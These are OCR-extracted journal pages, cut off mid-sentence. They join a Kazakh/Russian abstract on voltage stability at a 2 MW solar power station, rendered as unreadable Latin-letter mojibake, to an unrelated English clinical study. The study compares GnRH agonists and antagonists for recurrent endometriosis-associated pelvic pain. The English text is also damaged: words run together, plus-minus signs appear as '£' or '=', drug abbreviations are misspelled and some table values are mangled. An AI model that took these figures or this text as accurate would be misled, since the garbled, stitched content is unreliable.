COHJai-aKk TpaHc(hOpMaTOpaAFhl, HICKTPIKEIIEPIHIe, TeHepaTopIapaarsl XoHe Oackama Kypamaac OesiKTepiHaeri
HIBIFBIH/IAP/IBIH €CeNTeNyl YIIIH ecenTelne/i xoHe Tekcepineni. Ockl Makanaaa GenriienreH Kyarsl 2 MBT Gonarbin
Kaniaraif KyH3JIeKTPCTAaHIUSICBIHBIH MBICATIBIH/IA OTHEN PEeXXUMAEPIl MOAENbACY OOMBIHIIA 3epPTTeyJiep HOTHKE-
nepin ycoiHambls. PSCad Bupryanipl koMmbrotepiaik mozenbiae 10 kB-ThIK miMHanmapia KbICKa TYHBIKTaIy Kar-
JIAbIHIA KepHEY TYPaKThUIBIFBITAIIAH/bI, (DOTOINEKTPIIIK KYyieHl 6ackapy YIIH MHTEUIEKTYasbl KOHTPOJUIep/i
KOJIIaHy YIIIiH aJrOPUTMIEPMEH MEXaHU3M/IED 931pIICHII.
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'Ka3axckuii HalMOHABHBIIH arpapHsIil yHuBepcuTeT, Anvarsl, Kasaxcras,
? AJIMATHHCKHI1 YHHBEPCHTET SHEPIeTHKH ¥ CBsi3H, AnMarsl, Kazaxcran,
3 TamMHCKUH TeXHUIECKUi YHHUBEPCHUTET, TaIIiH, DCTOHU

HNCCJIEJOBAHUE CTABMWJIBHOCTH HAIIPA’KEHU A
B PACHIPEJEJIUTEJIbHBIX CETAX IIPU UHTEI'PALTUN
COJIHEYHOMH 2JIEKTPOCTAHIIMN MOIIHOCTBIO 2 MBT

Annotanusi. B Kazaxcrane npeanpuHsT psa Mep 10 CTUMYJIMPOBAHHUIO BBO/Ia BO30OHOBIISIEMBIX HCTOYHUKOB
sHeprun (BUD), oqHIM U3 KOTOPBIX SBISIETCS CONHEYHAs SHepreTuka [1, 2]. BombIIMHCTBO BETPOBBIX M CONTHEYHBIX
anekrpoctannuit (CIC) He oOecrednBaOT WHEPIIUOHHBIA OTKIUK WM KOHTPOIb cTatu3Ma. [IpeoOpa3oBaTenbHBIE
WHBEPTOPHI HAIIPSHKCHUSI HE UIMEIOT OOPAaTHOM CBSI3M C HAIIPSHKEHUEM CHCTEMBI BHEIITHETO 3JIeKTpocHa0xeHus. [ eHe-
pauust momHOCTH COC, Kak NpaBHIIO, SIBJISETCS TOJIBKO (PYHKIMEH COTHEYHOTO M3ITyUEHUS U HE 3aBUCHUT OT PEXUM-
HBIX IIapaMeTpoB ceTH [3]. B cBsA3u ¢ 3THM, aKTyanbHBIM ABJSIETCSI BOIIPOC BHEAPEHMS aJalTHBHBIX KOHTPOJIIIEPOB
[0 YTpPaBJIEHUIO WHBEPTOPAaMH B 3aBUCHMOCTH OT M3MEHEHHUS mapaMmeTpoB pexkuma [4, 5]. KimoueBbimu Tpyn-
HOCTSIMU TIPH MHTETpalMu OOJIBIINX MOLIHOCTeH reneparu BUD B sHeprocucTeMy SIBISIFOTCS IUITAHUPOBAHUE U YII-
paBienue cuctemoil. CueHapuu JUIsl U3y4eHUS BO3IEHCTBHS HA CUCTEMY 3aBUCST OT BBICOKOHM WJIM HU3KOH Harpys3KH,
BBICOKOH JIOJIM WJIM OTCYTCTBHSI BETPSIHOM /COJTHEUHO SHepruu. JIJisi KayKIoro cirydasi pacCUUTHIBAETCS HAIPSDKEHHE
Ha IIMHE U IIPOBEPSIETCSI HA COOTBETCTBHE JOIyCTUMBIM IIpeJiesiaM, IIPOBOJUTCS pacuyeT IMOTOKOPACTIPEETICHUS aK-
TUBHOH M pEakTHBHOM MOIIHOCTH, a TaKke NoTepb B TpaHchopmarope, Ha JIDII, reneparopax M Apyrux KOMIIO-
HeHTax. B HacTosmei paboTte mprBeneHs! pe3yabTaThl HCCISIOBAHUH MO0 MOJEIMPOBAHNIO MEPEXOIHBIX PEXXUMOB
Ha mpumepe Kammaraiickort comnednoi cranmum (COC) ycraHOBIeHHOW MomHOCTEIO 2 MBT. B BUpTyansHOI
monemu [TK PSCad mpoananm3upoBana CTaOMIBHOCTh HANPSDKCHUS TIPH BO3HUKHOBEHUH KOPOTKOTO 3aMBIKAHHS Ha
muHax 10 kB, pa3paboTaHsl alrOPUTMBI M MEXAHU3MBI 110 UCIIOJIb30BAHUIO HHTEIUIEKTYaIbHOTO PEryJIsiTOpa AJs yII-
paBieHus] GOTOBOJTANIECKON CUCTEMOH.

KiroueBble ciioBa: pacmpeneneHHas TeHepanus, CTaOMIbHOCTh HanpspbkeHus, naterpanus COC, nepexoHbie
MPOLIECCHI, TOK KOPOTKOT'O 3aMbIKAHHSI.
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GONADOTROPIN-RELEASING HORMONEAGONISTS AND
ANTAGONISTS: INFLUENCE ON NEUROANGIOGENESIS
AND APOPTOSIS IN EUTOPIC ENDOMETRIUM
IN A THERAPY FOR RECURRINGENDOMETRIOSIS GENITALIS
EXTERNA-ASSOCIATED PELVIC PAIN IN PATIENTS

Abstract. Endometriosis is one of the most common gynecological diseases diagnosed in almost 70% of pa-
tients with chronic pelvic pain (CPP). However, quarter of women with pelvic pain was diagnosed with external
genital endometriosis (EGE) during laparoscopy. A special group is represented by patients with PPthat did not stop
after the removal of endometrial foci. The mechanisms of the pathogenesis of the formation of pain syndrome are not
completely explored yet. According to a number of authors, significant rolein the pathogenesis of pelvic pain
recurrence after surgical treatment of EGE is played by active neuroangiogenesis, both in ectopic and eutopic
endometrium.GnRh agonists are the “golden standard” for the treatment of endometriosis and highly effective
against pelvic pain associated therewith. In a number of European countries, GnRh antagonists have been registered
for the treatment of EGE-associated PP. Taking into account not fully discovered mechanisms of PP development in
cases of EGE, the study of the expression of neurovascular markers in eutopic endometrium during aGnRh and
antGnRh therapy was of scientific interest.

The aim of the study was to compare the effect of GnRh agonists and antagonists on neuroangiogenesis and
apoptosis in the eutopic endometrium of patients with pelvic pain that did not stop (recurrence) after surgical
treatment of EGE. Expand the understanding of the pathogenesis of pelvic pain that did not stop (recurrence) after
surgical treatment of external genital endometriosis.

Material and methods. The study involved 2 stages. At the first stage (algological), data from B&B, NRS and
VRS algological questionnaires, which were completed by patients with recurrent PP after surgical treatment of
EGE, were analyzed (n = 130, aged 18 to 45 years old, average age 32.5 = 7.6 years). All women were operated on
for EGE no later than 3-6 months; they did not receive drug therapy after surgical treatment and sought medical
attention for recurrent pelvic pain.Patients were stratified in groups (group I - aGnRh, group II - antGnRh).
Treatment was administered for 3 months (aGnRh intramuscularly once in 28 days, antiGnRh peros 100 mg/day). At
the second stage, the dynamics of neoangiogenesis markers (VEGF), neurogenesis (NGF) and apoptosis (CASP3) in
the course of treatment with immunohistochemical and molecular biological methods. Materials for the study of the
endometrium were obtained by the papel biopsymethod. The control group was formed from a number of women
with EGE without PP, who applied for surgical treatment of infertility (n = 30).

The results of the study have found that the basis of pathogenesis of pelvic pain recurrence in patients who did
not receive medical therapy after surgical treatment of EGE is the activation of neuroangiogenesis processes and
reduction of apoptosis. At the same time, a decrease in immunological labeling of VEGF-A in the course of
aGnRhtreatment by 2,6 times was found, in the group of patients receiving antHnRh, on the contrary, there was a
positive trend in the IHC response to VEGF (p<0.05). The immunolabelling reaction to NGF antibodies in group I
decreased in the dynamics of aGnRhtreatment 1,8 times, and in group II — 2,4 times (p <0.05) in the course of
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antiGnRhtherapy. Expression level of CASP3 pro-apoptotic protein increased 2,1-fold in the course of aGnRh the
rapy, which indicates intensification of apoptosis (p<0.05). In group II patients, in the course of antiGnRhtherapy,
the expression of CASP3 during treatment did not statistically change, which indicates the absence of the
proapoptotic effect of antiGnRhon the endometrial cell composition (p> 0.05).

Conclusion. GnRh antagonists provide stable endometrial trophicity during treatment of EGE-associated PP,
causing their better tolerability as well as efficacy.

Key words: neuroangiogenesis, pelvic pain, endometriosis, apoptosis, GnRh agonists, GnRh antagonists.

Relevance of the problem. Endometriosis is one of the common gynecological diseases thatis
diagnosed in almost 70% of patients with chronic pelvic pain [1]. There is external genital endometriosis
(EGE) [2, 3] found in about quarter of women with pelvic pain who have laparoscopy. Despite large
number of studies on various aspects of chronic pelvic pain (CPP) in EGE, to date, none of the proposed
treatment methods has led to a complete regression of CPP and did not allow to avoid frequent recurrence
[1,3].

This is large lydue to the complexity of the chronic pain structure, which is usually heterogeneous
and is represented by acombination of as etofsymptoms that reflect the presence of no ciceptive, neuro-
genic and psychogenic components of algological descriptors [1-4]. It is important to note that there are
studies of individual CPP development factors in EGE, there are hardly any comprehensive studies of its
pathogenetic components, especially with different intensity and nature of the pain syndrome, which
further emphasizes relevance of this problem.

It is important to emphasize that attempts to deal with the mysteries of pathogenesis of pain syndrome
development in EGE, the very first reports about the presence of sensory nerve fibers in the eutopic endo-
metrium in women suffering from endometriosis were questionable, and it was believed that the number
of endometrial nociceptive nerves correlated with pelvic pain regardless of the primary disease [5].

There is evidence of a correlation relationship between the presence of micromemyelinated sensory
nerve fibers in the functional layer of the endometrium and endometrioid pelvic peritoneal heterotopies
compared to normal peritoneum in women suffering from endometriosis-associated CPP [6].

According to various authors, in women with endometriosis, the expression of neurotrophins, their
receptors and other neuron-active molecules in eutopic endometrium was significantly higher in
comparison with the control group [5, 6, 8]. For example, the NGFexpression and its TrkA receptors was
significantly higher in the eutopic endometrium of women with pelvic pain, unlike in the group of women
with pain-free syndrome. Studies of anotherlevel of evidence have shown an abnormality in eutopic
endometrium in endometriosis associated with neurogenesis, including an increase in the number of
neuroendocrine apudocytes, macrophages, and NK cells. However, it should be noted that in addition to
increased expression of neurogenesis promoters in eutopic endometria in women with endometriosis,
demyelinated C-type fibers were detected in the functional layer in comparison with the control group
[10]. A significant role in neovasculogenesis is played by vascular endothelial growth factor (VEGF-A),
produced by fibroblasts, macrophages, some glandular epithelial cells and, finally, endothelial cells [7].
VEGF-A, by binding to the VEGFR-1 and VEGFR-2 receptors encoded by the same name genes, stimu-
lates proliferation of vascular endothelium, affects the corresponding receptors and activates its own
signaling pathway, which can significantly reduce the level of oxidative stress, the amount of ROSand
thereby normalize local homeostasis, reduce activity of inflammatory phenomena and activate the
processes of natural tissue regeneration [7].

A mandatory pathogenetic component that characterizes proliferative activity of endometrium in
endometriosis, including EGE, is the reduction of apoptosis. This pathogenesis aspect in a group of
women with PP remaining after surgery remains unexplored. A prominent apoptosis marker is effector
caspase-3, which causes breakdown of key proteins (ICAD — DNase CAD, ROCK), resulting in self-
destruction of cells (apoptosis), including glandular epithelium [8].

Nerve growth factor (NGF) is one of the leading neurotrophic substances involved in growth regu-
lation and homeostasis of the nervous tissue by activating the proliferation of glial cells, growing and
increasing the number of nerve fibers and maintaining activity of a number of neurons.Direct anabolic
effect is due to the NGF banding to a high-affinity member of the tyrosine kinase receptor family, TrkA,
encoded by the NTRK gene. Changes in NTRK1 expression correlate with NGF and decrease with tissue
denervation and, on the contrary, increase with the growth and branching of nerve fibers. There is also
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information about the NTRK /involvement and directly the expression product - TrkA - in the development
of local hyperalgesia in the context of neuroimmunogenic inflammation [9].

Protein products of BAX and BAK proapoptotic genes interact with potential-dependent anionic
channels of mitochondria, stimulating their discoveries, which contribute to the release of proapoptotic
mitochondrial peptide, which activates the cell caspases to effect apoptosis. The peptide encoded by
BCL-2, in turn, inhibits the activity of BAX and BAK, thereby manifesting the anti-apoptotic nature of the
action with respect to cell preservation and a stable cell cycle [10].

The issues of effective pain relief and prevention of its recurrence remains the subject of focused
study by endometologists around the world. According to some researchers, hormonal endometriosis
treatment contributes to a statistically significant decrease in the density of endometrium nerve fibers [11].

GnRh agonists are the “golden standard” for the treatment of endometriosis and highly effective
against pelvic pain associated therewith. In a number of European countries, GnRh antagonists have been
registered for the treatment of PP caused by EGE. GnRh antagonists (anthnRh) have a synthetic peptide
structure whose mode of action is to competitively bind to receptors for gonadotropin-releasing hormone
without causing activation of these receptors without contributing to the initial release of gonadotropins
before or after the onset of the effect of drug. Taking into account not fully discoveredEGE-associatedPP
developmentmechanisms, the study of the expression of neurovascular markers in eutopic endometrium
during aGnRh and antGnRhtherapy was of scientific interest.

However, taking into account these pathogenetic features opens up the prospect of developing more
effective drug therapy for various CPP associated with EGE. The above determines the relevance of the
selected topic, demonstrates the need for careful examination of the innervation apparatus of eutopic
endometrium in patients with recurrent PP after surgical treatment, objective algological monitoring,
effective relief and anti-recurrence effect of drug therapy.

Research objective was to compare the effects of GnRh agonists and antagonists on neuroangi-
ogenesis and apoptosis in eutopic endometrium of patients with pelvic pain that did not stop (recurrence)
after surgical treatment of EGE. Expand the understanding of the pathogenesis of pelvic pain that did not
stop (relapse) after surgical treatment of endometriosis genitalis externa.

Methods of research. Prospective comparative study was conducted at the clinical bases of the
Department of Obstetrics and Gynecology with the course of perinatology at the Medical Institute of the
Russian State University of Peoples’ Friendship for the period of 2016-2018. (Bauman MCH No. 29 of
MHD and NGHCI CCH No. 6 of Russian Railways JSC).

Research Objective were as follows:

1. Expand the understanding of pelvic pain pathogenesis that has resumed (recurrence) after the stage
of surgical treatment for external genital endometriosis.

2. To study the dynamics of neoangiogenesis markers (VEGF and its VEGFR-1, VEGFR-2 receptors)
in the course of therapy with GnRh antagonists and antagonists of pelvic pain in patients of the studied
cohort.

3. To identify the dynamics of the intensity of the reaction of immunolabeling of antibodies to nerve
growth factor (NGF), as well as gene expression of its NGF and NTRKI1 receptors during aGnRh and
antGnRh treatment for recurrent pelvic pain associated with external genital endometriosis.

4. To study the dynamics of IHC - markers of apoptosis (CASP-3 protein) and expression of proa-
poptotic (BAC, BAC) and antiapoptotic (BCL-2) genes in the endometrium in patients with pelvic pain
that did not stop (recurrence) after surgical treatment of external genital endometriosis in dynamics against
in the course of treatment withagnRh and antiGnRh.

The following set of methods was used: algological analysis, morphological, immunohistochemical
(IHC), real-time polymerase chain reaction (RT-PCR), and statistical research methods.

1.1. Clinical (clinical and laboratory) justification. Clinical and morphological study was conducted
in 3 stages: Stage I - selection of the primary pool of patients with morphologically and endoscopically
verified EGEsyndrome, complicated by recurrent PP who did not receive hormonal treatment; Stage II -
allocation of patients by blind randomization to determine the type of pharmacotherapy, analysis, followed
by comparison of the results of the study and voluntary informed consent to participate in the study;
conduct of pharmacotherapy and laboratory and instrumental diagnostics with the obtainment and
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subsequent analysis of their biological material, the study of clinical, instrumental indicators, statistical
processing and publication of the results.

Study inclusion criteria:

- reproductive age

- the presence of PP (ICD N94.8 "Pain and other conditions associated with female genital organs and
menstrual cycle"),

- morphologically confirmed external genital endometriosis (N80.1),

- no contraindications for the prescription of hormonal drugs.

The exclusion criteria were as follows: pregnancy, lactation, the presence of contraindications to
ongoing pharmacotherapy with GnRH agonists or antagonists, inflammatory diseases of the pelvic organs
in the acute stage or chronic course of a recurrent nature, neurogenic or psychogenic PP.

As part of the study of the functional state of patients’ endometrium with PP (n = 130) during drug
administration, the selected cohort of patients was divided into 2 groups: Group I - GnRH agonist
pharmacotherapy (n = 65), Group II - GnRH antagonists. Therapy in all groups was commenced on the
2" 5™day of the menstrual cycle. Patients in all groups successfully completed the therapy course, no
discontinuation of the drug due to side effects was reported, regardless of the chosen therapy, no refusals
to continue therapy by patients based on their personal convictions were recorded. Moreover, group 111
was formed as a control group; women with morphologically and endoscopically verified EGE diagnosis
without PP (n = 30).

The source material was endometrial bioptic specimen obtained during aspiration biopsy in patients
with recurrent EGE-associated PP, but prior to prescription of pharmacotherapy. Subsequently, an
endometrial pipel-study was conducted twice more in women of groups I and II (patients with PP) right in
the course of treatment (8"week of therapy) and after its completion (16 weeks from the day of the start of
drug administration, taking into account 4 weeks of monitoring after the end of therapy at week 12) while
taking GnRh agonists, antagonists. Endometrial bioptic materials obtained from patients without PP
(group III) in the postoperative period were the internal control in the framework of the study.

1.2. Algological Analysis. Algological profile was assessed using pain inventories (Biberoglu &
Behrman Scale, Numeral Rating Scale, Verbal Rating Scale). Patients were asked to complete question-
naires, where they independently assessed the pain caused by endometriosis, according to the Biberoglu &
Behrman Scale (B&B) scale.

The cumulative score on the B&B scale was a score, the results of which were worth concluding that
PP was absent in the case of 0 points, PP corresponded to a mild degree in 1-2 points, and moderate
degree - 3-5 points, severe - 6-10 points, and PP was considered very severewhere the sum of points
reached 11-15[12].

The intensity of pain was estimated in points (0 to 10) by subjective pain assessment method using a
numerical rating scale (NRS), which is a 10cm long segment of a straight line.

Evaluation of pain in accordance with the verbal rating scale (VRS) implied a description of such
characteristics as occurrence of pain over the last 24 hours, when performing daily chores, dyspareunia,
impeding sexual contacts in the last 24 hours, characteristic of abnormal uterine hemorrhage, where
occurred over the last 24-hours period [13-15].

Algological analysis was performed in all patients before, during and after treatment of recurrent PP
in EGE.

1.3. Methods of study of biopsy specimens (aspirates) of the endometrium. The study of bioptic
material was conducted in the pathoanatomical department, where they were subjected to morphological
and immunohistochemical (IHC) studies with computer morphometry, as well as molecular genetic
research using real-time polymerase chain reaction (RT-PCR)

1.2.1. Morphological Analysis. Biopsyspecimens were fixed in 10% formalin buffered HCl
(pH = 7.2; 5 to 24 hours); dehydratedinanascending alcohol series (histologicaltissue processing device
by “LeicaBiosystems”’company, Germany) andembeddedinparaffin.Tissue sections with a thickness of
~ 4 pm were placed on ordinary, and for immunohistochemical studies (IHC) - on special adhesive super
Frost Plus glass slides (Mainzel Glaser, Polylisine, Germany), deparaffinized according to the accepted
standard method. Subsequently, sections were either stained with hematoxylin and eosin (H&E) for
histological examination, or used for IHC.
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1.2.2. Immunohistochemistry Assay. IHC-study was conducted after deparaffination and rehydration
of paraffin sections according to the standard protocol in the automatic mode in the Bond-Max
immunohistostainer (Leica, Germany). Monoclonal antibodies (Abcam, United Kingdom) to VEGF-A
(Anti-VEGFA antibody, Clone ab46154, 1: 400) and rabbit to NGF Anti-NGF antibody, Clone ab52918,
1:300) and caspase-3 (Cas-3; Clone E87, 1:50). Secondary antibodies are universal Cell Marque (USA).
For each marker, control studies were performed in order to eliminate pseudo-positive and pseudo-
negative results. The nuclei of the cells were stained with Mayer's hematoxylin; sections were washed
under running water; dehydrated and embedded in a balm.

The semi-quantitative method involved evaluating the results of immunohistochemical reactions
using a 3-point system with counting the number of immunopositive cells in 10 randomly selected fields
of view at x400 magnification (%): “-” - absence, “+” - weak (5-25% of cells, 1 point), “++” - moderate
(25-50% of cells, 2 points), “+++” - pronounced (=51% of cells, 3 points).

The biopsy material was visualized using a Leica DM4500 optical microscope (Leica Microsystems,
Germany), combined with a Leica video camera (Germany) and standard software.

Computer morphometry to assess the results of the immunohistochemical reaction and to determine
the area of positively colored objects in the field of view was performed using an open source image
analysis computer system - Image J 1.51. To do this, we took a microphotograph of 10 randomly selected
fields of view with a x200 magnification on microslides after the IHC reaction performed with the
corresponding primary antibodies.Next, the resulting image was automatically normalized and transferred
from the color 24-bit image (RGB) mode to 256 gray scale mode; binarization of objects with a specified
sensitivity level was performed. When processing micrographs, the image analysis system binary objects
with a brightness level of> 150 clipped and the total area of positively colored objects was determined
from the total area of microphotographs as a percentage.

1.2.3. Real-time polymerase chain reaction (RT-PCR). Endometrial bioptic materials were placed in
an RNAlater stabilizing solution (QIAGEN, the Netherlands) and stored at -70°C. Subsequently, the
samples were homogenized according to a standard protocol.Extraction of total RNA was performed using
a set of ready-made RNeasy Plus Mini Kit reagents (QIAGEN, the Netherlands). The synthesis of
complementary DNA (cDNA) from the matrix of the obtained RNA was performed using the SuperScript
™ VILO ™ Master Mix (Invitrogen).The isolated cDNAs were subjected to RT-PCR using the ABsolute
Blue QPCR Mix reagent mix (Thermo Scientific, USA) with the SYBR Green I fluorescent dye. RT-PCR
was performed using the StepOne System (Applied Biosystems, USA) and the standard software. Analysis
of gene expression was performed using the threshold cycle (Ct) determinationmethod and calculation of
the relative genes expression according to the protocol. Standardizationand internal control are performed
relative to GAPDH housekeeping reference gene, the expression level of which by default is considered
constant. Statistical control was performed relative to the control group without NTD. Primers were
selected on the basis of publicly available materials on DNA sequences and mRNA genes in the NCBI
database using the Primer-BLAST program.

1.2.4. Statistical methods and data processing. The resulting data were statistically processed using
the SPSS 7.5 program for Windows statistical software package (IBM Analytics, USA).The variation
series, the arithmetic mean, the population standard deviation, the mean error, and probability of
difference were determined. Then, the conformity/non-conformity of the results obtained to the normal
distribution was evaluated using the Kolmagorov-Smirnov criterion. When statistical processing, the
following non-parametric criteria were used to assess the reliability of differences in mean values between
the following groups: Mann-Whitney U-test, Kruscal-Wallis H-test. In the absence of a normal data
distribution, the non-parametric F. Wilcoxon criterion (Statistical Methods for Research Workers) with a
significance level of p <0.05 was used.

Quantitative data obtained during RT-PCR were analyzed using ANOVA on ranks.

Results. In group I patients, prior to the onset of EGE-associated PP treatment, the average B&B
score was 5,08+0,49, on the NRS scale - 5,46+0,38 and VRS - 5,46+0,38 points; in group II patients —
5,46 + 0,54, 5,79 + 0,37 and 5,79 £ 0,37, respectively. Prior to commencement of EGE-associated PP
therapy, no differences between groups’ patients that subsequently received therapy were identified
(p> 0,05). According to the results of a comparative microscopic study of endometrial biopsy specimens
in all samples of the studied groups, a practically identical morphological pattern was established: the
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uterine glands in the proliferation phase of the menstrual cycle, with a clearly defined contour; the
epithelial component prevails over the stromal, no signs of glandular hyperplasia, atrophy of the
endometrium was detected.

According to the data of the morphometric analysis of the endometrium, no significant differences in
the height of the glandular epithelium cells, the diameter of the glands and their density per unit area in
groups | and II were found in patients with PP — p> 0.05 (table 1).

Table 1 — Morphometric analysis of the glandular compartment of endometrial biopsies
in groups I and II during and upon completion of aGnRh/antiGnRh therapy (p <0.05)*

Morphometric parameter Epithelium height, Gland diameter, Gland denszity per,
pum um mm

Group I — aGnRh

Before pharmacotherapy 19.1+1.2 112.3+£5.7 16.4+1.4

8 weeks (during treatment) 11.4£1.4* 95.1+4.3* 7.2+1.3*

16 weeks (after treatment) 13.1£1.7* 91.3+£3.5% 5.7+1.1%*

Group II — antiGnRh

Before pharmacotherapy 19.4£1.5 119.4+1.4 19.2+£2.1

8 weeks (during treatment) 17.1£2.3 117.9+15.1 16.3£.2.3

16 weeks (after treatment) 18.3£2.6 118.3+14.2 17.1£1.9

In the course of IHC study of bioptic materials of endometrium, prior to the beginning of pharma-
cotherapy, a moderate (2 points) focal immunopositive response to antibodies to the vascular-endothelial
growth factor (VEGF-A) was detected predominantly in the stroma, presumably, in the cytoplasm of
active fibroblasts and vascular endothelium (29.5% =+ 0.8%, p<0.05).

Algological analysis 3 months after the start of treatment of recurrent EGE-associatedPP showed that
the average pain intensity score on the B&B scale in group I patients was 0,40 + 0,10, which was
significantly higher compared to group II women (0,09 £ 0,04, p <0.05). However, the average score
on the NRS scale for the same groups was 0,51 = 0,11 and 0,08 = 0,03 (p <0.05), for the VRS scale —
0,51 £ 0,11 and 0,08 + 0,03 (p <0.05).

Compared with the histological results before commencement of aGnRh pharmacotherapy course at
week 8, changes in the endometrium at the light-optical level are generally characterized by moderate
changes in the glandular epithelium, primarily atrophic in its nature, in 68% of cases in group I (n = 44).
In a number of foci, uterine glands with a narrow lumen, relatively low basal-type epithelium were found -
areas of non-functioning endometrium, compact stroma with a moderate vascularization index and
collagen-rich fibers of moderate thickness with a small number of active fibroblasts predominantly
dominate. On the contrary, in the course of histological examination of week 8 endometrial biopsies,
obtained in patients of group II during antiGnRh therapy, no significant differences were found in
comparison with the results of the group biopsy before the start of pharmacotherapy. Detectable
endometrium in the proliferation phase with no signs of atrophy in almost all observed foci. Single-
rowedepitheliumwithbasalnuclei. In certain visual fields, uterine glands with signs of minor atrophy
(5.9% = 0.2%, p<0.05) are visualized, which generally characterizes the effect of antHnRH in group II
patients on the condition and activity of the endometrium as satisfactory.

6 months after discontinuation of therapy for recurrent EGE-associated PP, the average indices of
algological B&B, NRS, VRS questionnaires for patients in group I were 1,11£0,19, 1,65+0,26 and
1,65+0,26 points, respectively; for women in group II who received anti-GnRh: 0,37+0,11, 0,41+0,11 and
0,41£0,11, respectively. The average score from the algological questionnaires was significantly higher in
group I patients (p<0.05). Persisting gland atrophy sites (6.1% = 0.4%, p<0.05) are found in the study of
the microscopic pattern also at week 18 in group II in patients who were administered antiGnRh.

Algological analysis of the B&B questionnaire 12 months after discontinuation of drug therapy for
recurrent PP revealed a statistically significant difference in the incidence of dysmenorrhea, which was
1,73 times higher in group I patients of who took aGnRh, compared with women in group II (p = 0,00389,
p<0.05).

—— 4 ——
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The results of group I biopsies in patients taking a GnRh course indicateachangein VEGF-A expres-
sion. According to the morphometric analysis of samples obtained after 8 weeks from the start of aGnRh
pharmacotherapy, the positive immunolabelling of the stromal component for antibodies to VEGF-A is
significantly reduced (17.9%+0.6%, p<0.05) and shows a minimal weak, local response (1 point) in
16" week preparations (11.1% = 0.4%, p<0.05). An interesting IHC pattern was found in group II in pa-
tients who completed the antiGrNHcourse. Immunopositive elements of the stroma with an IHC response
to antibodies to vascular-endothelial growth factor (VEGF-A) were visualized in all biopsy specimens
of group II, both before the start of pharmacotherapy and during treatment and upon completion. It is
important to note that the absolute number of tissue components immunopositive to VEGF-A increased
during antiGnRh therapy reaching 31.6%+2.3% and 33.4%%2.6% based on the results of the 8" week
biopsy specimen and at the end of pharmacotherapy with antiGnRh after 16 weeks (figure 4).

Nerve growth factor (NGF) in group I (aGnRh ) shows a positive stromal response in all samples
obtained immediately before, during and at the end of pharmacotherapy. Based on the results of the
analysis of endometrial biopsy specimens, prior to the patients receiving aGnRh (internal control), a
pronounced reaction (3 points) was observed in many diffuse foci, sometimes perivascular (59.7% =+ 3.1%,
p<0.05) and periglandular (55.3% + 2.1%, p<0.05), which corresponds to the most significant parts of the
tissue innervationof endometrium.In samples 8 and 16 weeks in the group in patients undergoing a course
of aGnRh pharmacotherapy, this indicator was 41.1% = 3.2% (p<0.05) and 31.3% + 2.6%, (p<0.05),
respectively (figure 5). The level of NGF and NTRK1 expression (c.u.=SEM) for patients receiving
aGnRh amounted to 2.67+0.18 (c.u.£SEM) for NGF before treatment, in the course of the administered
therapy 2.11£0.16, and at the end of study, at the 18"weeks 2.39 + 0.21; for NTRK1: 2.87 + 0.25, 2.17 +
0.18 and 1.12+0.12, respectively. Therefore, duringaGnRh treatment, the expression of these markers was
statistically significantly reduced (p<0.05).

Ingroup II, patients taking anti-GnRH, on the background of pharmacotherapy, showed as table
moderated ecrease in the number of immunopositive elements for antibodies to NFG (37.2% = 1.9%,
p<0.05) ascomparedwiththeinternalcontrol (57.2%=+1.9%, p<0.05). Given the persisting pharmacodynamic
effect and cumulation after the end of therapy at week 16, this indicator also remained below the control,
being 35.2+£1.9% (p<0.05) (table 2).

When studying the NGF and NTRK1 genes expression in patients who received antiGnRh, the NGF
level (c.u.=SEM) before treatment was 2.59 + 0.21, in the course of therapy 1.84+0.16% (p<0.05) and
upon its completion 1.254+0.15% (p<0.05). For the NTRK1 receptor gene, these figures were 2.78 £+ 0.25,
1.89 £ 0.11 (p<0.05) and 2.17+ 0.22, respectively (p<0.05).

Table 2 — The proportion of IHC-positive structures in endometrial biopsy specimens
in groups L, I1, and III during and upon completion of aGnRh /antiGnRh therapy (p<0.05)*

Marker VEGF, % NGF, % Caspase-3, %
Group I — aGnRh
Before pharmacotherapy 28.9+1.3 58.7£3.1 27.1£1.8
8 weeks (during treatment) 17.9+£0.6* 41.14£3.2* 47.34£3.8*
16 weeks (after treatment) 11.1+0.4* 31.3+2.6* 57.7£5.4%
Group II — antiGnRh
Before pharmacotherapy 27.842.2 57.2+1.9 25.2+2.1
8 weeks (during treatment) 31.6+£2.3%* 37.2+£1.9% 28.2+2.7
16 weeks (after treatment) 33.442.6% 23.5+1.3* 29.2+1.1

The next stage of the IHC study was the evaluation of immunological labeling of effector caspase-3
(CASP3). According to morphometric analysis, a moderate IHC reaction (2 points) was found in the cells
of endometrial glandular epithelium in group I patients (aGnRh).The distribution in this group in
endometrial samples of the 8"and 16™weeks was 47.3% =+ 3.8% and 57.7% = 5.4% (p<0.05), respectively
- a significant increase in the expression of the test protein was observed compared to the control
(27.1% = 1.8% , p<0.05). In group II (GnRH), no statistically significant change in the expression of
caspase-3 was detected (p> 0.05) (figure 6).
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The relative expression level of pro-apoptotic BAK gene in group I (aGnRh) before treatment was
(c.u£SEM) 1.15 = 0.13, while receiving therapy 1.73+£0.32 (p<0.05) and after treatment 1.96 + 0.41
(p<0.05); the expression level of pro-apoptotic BAX gene (c.u.+SEM): 1.25 + 0.21, 1.91 £ 0.67 (p<0.05)
and 2.16 + 0.84 (p<0.05), respectively. For the expression of the anti-apoptotic (BCL-2) gene in group I,
these values were: 1.86 = 0.15, 1.15 + 0.16 (p<0.05) and 1.23 + 0.13 (p<0.05), respectively. In the group
of patients who received antHnRH, the relative expression level of the pro-apoptotic BAK gene
(c.u.£SEM) before treatment was 1.18 = 0.11, when taking antHrH 1.05+0.03 (p<0.05) and 1.07+0.05
after a course of antGnRg treatment of EGE-associated PP, the level of pro-apoptotic BAX gene
(c.u. £ SEM) was 1.21 £0.13, 1.03 £ 0.15 and 1.02 £ 0.11, respectively. For the expression of the anti-
apoptotic (BCL-2) gene in group II, these figures were: 1.78 + 0.21, 2.19 + 0.38 (p<0.05) and 2.23 + 0.29
(p<0.05), respectively.

After the end of EGE-associated PP treatment, 67,69% of patients in group I (aGnRh ) experienced
recurrence of PP, while 32,31% did not. In group II patients (antiGnRh), recurrence of PP was observed in
46,15% of women, while pain did not recur in 53,85%. Group I was statistically significantly different
from group Il patients in the incidence of PP recurrences after the end of aGnRh treatment (p = 0,01315,
p<0.05), (OR =2.44 (1.2; 4.98)).

Discussion. In the present study, biopsy specimen of eutopic endometrium were studied in patients
suffering from PP that had not stopped after surgical EGE treatment. We found that during endometriosis-
associated PP aGnRh therapy, endometrial function was significantly inhibited, and aGnRh had a
cumulative effect on the endometrial receptor apparatus caused by the development of drug-induced
hypoestrogenism. A different picture was observed in patients taking antHnRg, whose overall effect on the
functional state of the endometrium was significantly more favorable, as there was almost no disruption of
local homeostasis, which indirectly confirms high tolerability of antiGnRh compared with aHNRH in
